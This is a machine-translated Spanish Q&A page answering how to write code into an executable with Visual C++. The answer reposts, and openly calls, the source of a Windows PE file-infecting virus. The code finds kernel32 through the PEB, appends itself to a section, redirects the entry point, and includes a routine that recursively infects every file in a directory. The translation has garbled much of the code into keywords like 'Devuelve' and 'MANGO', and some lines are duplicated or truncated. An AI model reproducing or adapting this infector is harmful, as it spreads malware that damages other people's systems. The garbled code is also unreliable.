Red de conocimiento informático - Problemas con los teléfonos móviles - Cómo escribir funciones en archivos ejecutables en VC

Cómo escribir funciones en archivos ejecutables en VC

Si realmente no puedes entenderlo, te sugiero que no lo leas todavía.

En primer lugar, debes comprender:

1. p>2. Reubicación de código

No tienes ningún problema con lo anterior, entonces échale un vistazo

- -! Dices que no es un virus, pero no es un virus, al menos es una infección.

¿Quieres decir que tu código está escrito en un archivo, no solo en la memoria?

El siguiente código hace precisamente eso.

El siguiente es un fragmento de código de virus. Su función es la misma que dijiste anteriormente, así que úsalo con precaución.

Publicación original:/ciw_blue/blog/item/527fef260882db108b82a139.html

Dos requisitos: 1. Compilar en VC6.0 2. Compilar en modo de lanzamiento.

Lo que quieras, por favor escribe la función DWORD WINAPI VirusThread(PVOID pParam).

#include

//#include

#pragma data_seg(".mydat")

#pragma code_seg(".shell")

#pragma code_seg(".shell")

#pragma code_seg(".shell")

#pragma code_seg(".

#pragma comment(enlazador, "/SECTION:.mydat,RWE")

#pragma comment(enlazador, "/SECTION:.shell, RWE")

#pragma comment(enlazador, " /MERGE:.mydat=.shell")

#pragma comment(enlazador, "/merge:.data=.text" )

#pragma comment(enlazador, "/merge:.rdata=.text")

#pragma comment(enlazador, "/ENTRY:main")

#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax

#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax ] _asm mov pStr, eax

#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax

#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax

#define Recode(A) _asm call A _asm A:_asm pop ebx _asm lea eax, A _asm sub ebx, eax

#define VA_END -2

void GetKernellFun();

int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...);

DWORD WINAPI VirusThread(PVOID pParam);

bool Strcmp(char* szSrc, char* szDes);

void Strcpy(char* szSrc, char* szDes);

bool InjectPeFile(char* szPeFileName);

#define VA_END -2

DWORD GetProcessIdFromName(LPCTSTR nombre);

int Invoke (char* pGlobalDllName, char* pGlobalFunName, char* pGlob

alAgrFmt, ...);

void InjectCodeEnd();

void RecoverCode();

int FindDir(char *szDir);

int Align(int nSize, int n);

DWORD dwOldEntry = 0;

char szOldInstruction[8] = {0};

char szLoadLibrary[] = "LoadLibraryExA";

char szGetProcAddress[] = "GetProcAddress";

char szSectionName[] = ".CIW";

char szMutexName [] = "CIW";

char szInjectPeFileName[] = "C:\\1.exe";

DWORD dwLoadLibrary = 0;

DWORD dwGetProcAddress = 0;

carácter sin firmar cJmp[4] = {0x83, 0xC0, 0x00, 0xe9};

#define DOS IMAGE_DOS_ HEADER

#define NT IMAGE_NT_HEADERS

#define SEC IMAGE_SECTION_HEADER

#define IMAGE_NT_SIGNATURE0x00004550

#define MAX_PE_FILE_SIZE 2048

void WINAPI InjectStart()//inicio de la ejecución del código

{

Recode(A);

DWORD dwEntry = 0;//Dirección de entrada original

DWORD dwVirusThreadAddr = 0;//Dirección del hilo del virus

BOOL bIsCreateVirusThread = TRUE; // Si se debe ejecutar el hilo del virus

GetGlobalVar(dwOldEntry, dwEntry)// Obtener la dirección de entrada del programa original

GetGlobalAddr(VirusThread, dwVirusThreadAddr)// Obtener la dirección del hilo del virus

GetKernellFun(); //Obtener la dirección de Kernel32 y las direcciones de LoadLibraryExA y GetProcAddress

if(Invoke("Kernel32", "CreateMutexA", " nns", NULL, FALSE, szMutexName, VA_END))//Crear un objeto mutex

{

if ( Invoke("Kernel32", "GetLastError", "", VA_END) == ERROR_ALREADY_EXISTS)// El objeto mutex ya existe

bIsCreateVirusThread = FALSE;

}

if ( bIsCreateVirusThread) // El hilo del virus no se está ejecutando

{

//crear proceso de virus

HANDLE hVirusThread = (HANDLE)Invoke(

"Kernel32", "CreateThread", "nnnnnnnn", NULL, NULL,

dwVirusThreadAddr, NULL, 0, NULL, VA_END //crea hilo de virus

}

else

{

Invoke("User32", "MessageBoxA", " nssn", NULL, "El hilo del virus ya se está ejecutando.

", "Infección", MB_OK, VA_END);

}

RecoverCode(); //Restaura el código de la entrada original

_asm jmp dwEntry/ //Salte a la entrada original para iniciar la ejecución

}

DWORD WINAPI VirusThread (PVOID pParam) // Hilo de virus

{

//////////////////////////////////////Función ejecutada por el virus////// /// ////////////////////////////////////////

Recode(A)

char *pPeFileName = NULL;

GetGlobalAddr(szInjectPeFileName, pPeFileName)

if (Invoke("User32", "MessageBoxA", " nssn", NULL, "¿Realmente deseas ejecutar el programa?"

if (Invoke("User32", "MessageBoxA", "nssn", NULL, "¿Realmente deseas ejecutar el programa?" ?", "infección", MB_YESNO, VA_END) == IDNO)

{

Invoke("Kernel32", "ExitProcess", "n", 0, VA_END);

}

Devuelve 0;

}

void GetKernellFun()

{

Recodificar(A)

char* pLoadLibrary = szLoadLibrary;

char* pGetProcAddress = szGetProcAddress;

DWORD dwFuncAddr = 0;

GetStringOffset(pLoadLibrary);

GetStringOffset(pGetProcAddress);

IMAGE_DOS_HEADER* stDos;<

IMAGE_NT_HEADERS* stNT;

IMAGE_DATA_DIRECTORY* stDatDir = 0;

IMAGE_EXPORT_DIRECTORY* stEPT;

DWORD dwKernelBase = 0;

_asm

{

mov eax,dword ptr fs: [30h]

mov eax,dword ptr [eax+0Ch]

mov esi,dword ptr [eax+1Ch]

lods dword ptr [esi]

mov eax,dword ptr [eax+08h]

mov dwKernelBase, eax

}

char *pBase = (char* )dwKernelBase;

stDos = (IMAGE_ DOS_HEADER*)dwK

ernelBase;

stNT = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);

stDatDir = &stNT->OptionalHeader.DataDirectory[0];

stEPT = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);

DWORD* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);

DWORD* dwAddr = (DWORD*)(pBase + stEPT->DirecciónDeNombres);

WORD* dwAddr1 = (WORD*)(pBase + stEPT ->DirecciónDeNombresOrdinales);

DWORD i = 0;

for(i = 0; i < stEPT->NumberOfNames; i++)

{

if(Strcmp(pBase + dwAddr[ i], pLoadLibrary) == 0)

break;

}

WORD* pwBase = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);

int nFunIndex = pwBase[i] + stEPT->Base;

dwFuncAddr = dwFunAddr[nFunIndex-1];

_asm

{

Recodificar(B)

mov eax, dwFuncAddr

agregar eax, dwKernelBase

mov [ebx + dwLoadLibrary], eax

}

for(i = 0; i <stEPT->NumberOfNames; i++)

{

if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)

break;

}

nFunIndex = pwBase[i] + stEPT->base;

dwFuncAddr = dwFunAddr[nFunIndex-1];

_asm

{

Recodificar(C)

mov eax, dwFuncAddr

agregar eax, dwKernelBase

mov [ebx + dwGetProcAddress], eax

}

}

int Invoke(char* pGlobalDllName , char* pGlobalFunName, char* pGlobalAgrFmt, ...)

{

Recode(A)

GetStringOffset(pGlobalDllName);

GetStringOffset(pGlobalFunName);

GetStringO

ffset( pGlobalAgrFmt);

DWORD dwLoadLib = 0;

DWORD dwGetProcAddr = 0;

GetGlobalVar(dwLoadLibrary, dwLoadLib);

GetGlobalVar(dwGetProcAddress, dwGetProcAddr);

HMODULE hDll = ((HMODULE(WINAPI*)(char*,HFILE,DWORD))dwLoadLib)(pGlobalDllName, NULL, NULL);

PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);

DWORD dwRet = 0, j = 0;

DWORD dwParam [128], dwParamTemp = 0;

DWORD dwParamLen = 0;

va_list stVaList

va_start(stVaList, pGlobalAgrFmt); > while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD))!= VA_END);

dwParamLen -= 2;

while(dwParamLen != -1)

{

dwParamTemp = dwParam[dwParamLen];

if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')

GetStringOffset(dwParamTemp);

_asm push dwParamTemp

dwParamLen--;

}

_asm mov eax, dwFunAddr

_asm call eax

_asm mov dwRet, eax

va_end(stVaList);

return dwRet ;

}

bool InjectPeFile(char* szPeFileName)

{

Recodificar(A);

char* pSectionName = NULL;

DWORD dwEntry = 0, dwInjectCodeEnd = 0;

GetGlobalAddr(InjectCodeEnd, dwInjectCodeEnd )

GetGlobalAddr(szSectionName, pSectionName);

GetGlobalAddr(dwOldEntry, dwEntry)

DWORD dwCodeSize = (DWORD) dwInjectCodeEnd - (DWORD)dwEntry, dwSize = 0, dwOldEntry1 = 0

HANDLE hFile = (MANGO)Invocar("Kernel32", "CreateFileA",

"nnnnnnnn", szPeFileName, GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, VA_END); //abre este archivo

if (hFile == (HANDLE) -1)

devuelve falso;

HANDLE hMap = (HANDLE)Invoke("Kernel32", "CreateFileMappingA", "nnnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, VA_END);

char* pFile = (char*)Invoke("Kernel32", "MapViewOfFile", "nnnnnn", hMap, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);

DWORD dwFileSize = Invoke("Kernel32", "GetFileSize", "nnnn", hFile, NULL, VA_END);

If (dwFileSize < MAX_ PE_FILE_SIZE)

Devuelve 0;

IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);

if (*(WORD*)pFile ! = IMAGE_DOS_SIGNATURE)

Devuelve 0;

Si (stNT->Firma != IMAGE_NT_SIGNATURE)

Devuelve 0;

IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));// Inicio de la tabla de secciones

IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT ->FileHeader.FileAlignment;//Alineación de archivos

DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;//Alineación de códigos

for(int i = 0; i < stNT- > FileHeader.NumberOfSections; i++)//recorre todas las tablas de secciones

{

if(!Strcmp((char*)stSec[i].Name, pSectionName))//hay ninguna tabla de sección con pMySectionName

devuelve 0;

}

DWORD dwOldEntryAddr = stNT->OptionalHeader.ImageBase + stNT->OptionalHeader.AddressOfEntryPoint;

}<

/p>

DWORD dwOldEntryAddr = stNT->OptionalHeader.ImageBase + stNT->OptionalHeader.AddressOfEntryPoint;

if(!AddressOfEntryPoint; //Punto de entrada de PE

Recode( B )

_asm

{

mov eax, dwOldEntryAddr

mov [ebx + dwOldEntry], eax///guardar el punto de entrada del PE

}

//mueve el puntero del archivo al principio del código

Invoke("Kernel32", "SetFilePointer", "nnnn", hFile, stNT -> OptionalHeader.SizeOfHeaders + stNT->OptionalHeader. "nsnnnn", hFile, szOldInstruction, 8, &dwSize, NULL, VA_END);

//Mover el puntero del archivo al final de la última sección

Invoke("Kernel32", "SetFilePointer", "nsnnnn ", hFile, stLastSec-> PointerToRawData+stLastSec->SizeOfRawData, NULL, FILE_BEGIN, VA_END

//Escribir); Ingrese el código infectado

Invoke("Kernel32 ", "WriteFile", "nnnnn", hFile, dwEntry, dwCodeSize, &dwSize, NULL, VA_END

//Invierte el archivo); El puntero se mueve al principio del código

Invoke("Kernel32", " SetFilePointer", "nnnn", hFile, stNT->OptionalHeader.SizeOfHeaders + stNT->OptionalHeader.AddressOfEntryPoint-stSec-> VirtualAddress, NULL, FILE_BEGIN, VA_END);

//Escribe 3 instrucciones basura y una instrucción Jmp (0xe9)

Invoke("Kernel32", "WriteFile", "nsnnn", hFile, cJmp , 4, & amp;dwSize, NULL, VA_END);

// Calcula la dirección a la que saltará el código de infección

DWORD dwAddr = stLastSec->VirtualAddress + stLastSec->SizeOfRawData + (DWORD) InjectStart - (DWORD)&dwOldEntry - 8 - stNT->OptionalHeader.

AddressOfEntryPoint;

//Escribe la dirección en la parte posterior de la instrucción Jmp (0xe9)

Invoke(" Kernel32", "WriteFile", "nnnnnn", hFile, &dwAddr, 4 , &dwSize, NULL, VA_END);

Strcpy((char*)stLastSec->Name, pSectionName);// Establece el nombre de la tabla de secciones. //Establece el nombre de la tabla de secciones, que se usará más adelante para determinar si este PE ha sido infectado

//Propiedades de la tabla de secciones

stLastSec->Características = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_ WRITE | IMAGE_SCN_CNT_CODE;

stLastSec->Misc.VirtualSize = stLastSec->SizeOfRawData + Align(dwCodeSize, dwCodeAlign);//infecta el código en la memoria con "nnnn",hFile, stLastSec ->PointerToRawData + stLastSec->SizeOfRawData, NULL, FILE_BEGIN, VA_END);

Invoke("kernel32", "SetEndOfFile", "n", hFile, VA_END); //Hacer crecer el archivo

stNT->Encabezado opcional. SizeOfCode += Align(dwCodeSize, dwCodeAlign);//Aumentar el tamaño del código en todo el PE

stNT->OptionalHeader.

SizeOfImage += Align(dwCodeSize, dwCodeAlign);//Aumentar el tamaño de la imagen de todo el PE

Invoke("kernel32", "FlushViewOfFile", "nn". pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END) ;

Invoke("Kernel32", "UnmapViewOfFile", "n", pFile, VA_END

Invoke("Kernel32", "CloseHandle", "n", hMap, VA_END);

Invoke("Kernel32", "CloseHandle", "n", hFile, VA_END);

Devuelve 1; /p >

void RecoverCode()

{

Recode(A);

DWORD dwOldInstructionPos = 0, dwSize = 0;

GetGlobalVar(dwOldEntry, dwOldInstructionPos);

Invoke("Kernel32", "WriteProcessMemory", "nnsnn", -1, dwOldInstructionPos, szOldInstruction, 8, &dwSize.VA_END);

}

bool Strcmp(char* szSrc, char* szDes)

{

while(*szSrc && *szDes && *szSrc == *szDes )

{

szSrc++, szDes++;

}

Devuelve *szSrc - *szDes;

}

void Strcpy(char* szSrc, char* szDes)

{

while (* szDes)

{

*szSrc ++ = *szDes++;

}

*szSrc = 0;

}

int Alinear(int nTamaño, int n)

{

if(nTamaño % n)

{

int num = nTamaño / n;

Devuelve (num + 1) * n;

}

Devuelve nSize;

}

void InjectCodeEnd( )

{

}

int main()

{

DeleteFile("C:Nueva carpeta \\ \\1.exe");

EliminarArchivo("C:\1.exe");

CopiarArchivo("E:\\ MiProyecto\VC\VC 6.0\ \\ \\\ Programa MFC\\\\\ IPConfiger 1.1\\ IPConfiger 1.1 (IPConfiger 1.1\ IPModify.exe)", "C:\\ Nueva carpeta\\\\ 1.exe", verdadero);

CopiarArchivo("E:\MiProyecto\VC\\VC 6

.0\\\\\ programa MFC\\\\\ IPConfiger 1.1\ IPConfiger 1.1\ IPModify.exe", "C:\1.exe", true);

// printf("% d\n", (DWORD) InjectCodeEnd - (DWORD)&dwOldEntry);

GetKernellFun();

// FindDir("C:\1.exe"); p>

InjectPeFile("C:\\ Nueva carpeta\1.exe");

return 0;

}

int FindDir (char *szDir)

{

directorio char[MAX_PATH];

archivo char[MAX_PATH];

HANDLE hFile;

WIN32_FIND_DATA fd;

memset( &fd, 0, sizeof(WIN32_FIND_DATA) );

strncpy(directorio, szDir,MAX_PATH);

strcat (directorio, "*.*");

hFile = FindFirstFile(directorio, &fd);

hacer

{

if ( fd.cFileName[0] ! = '.')

{

if( fd.cFileName[0] ! = '.')

si fd.cFileName[0] es '.', entonces fd.cFileName[0] es '.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)

{

memset(archivo, 0, MAX_PATH

strcpy(archivo, szDir ).

strcat(archivo, fd.cFileName );

strcat(archivo, "\\" );

FindDir(archivo);

}

else

{

memset(archivo, 0, MAX _PATH

strcpy(archivo, szDir);

strcat(archivo, fd.cFileName );

if(InjectPeFile(archivo))

{

// printf("%s\n", archivo );

}

}

}

}

}mientras( FindNextFile( hFile, &fd) );

devuelve 0;

}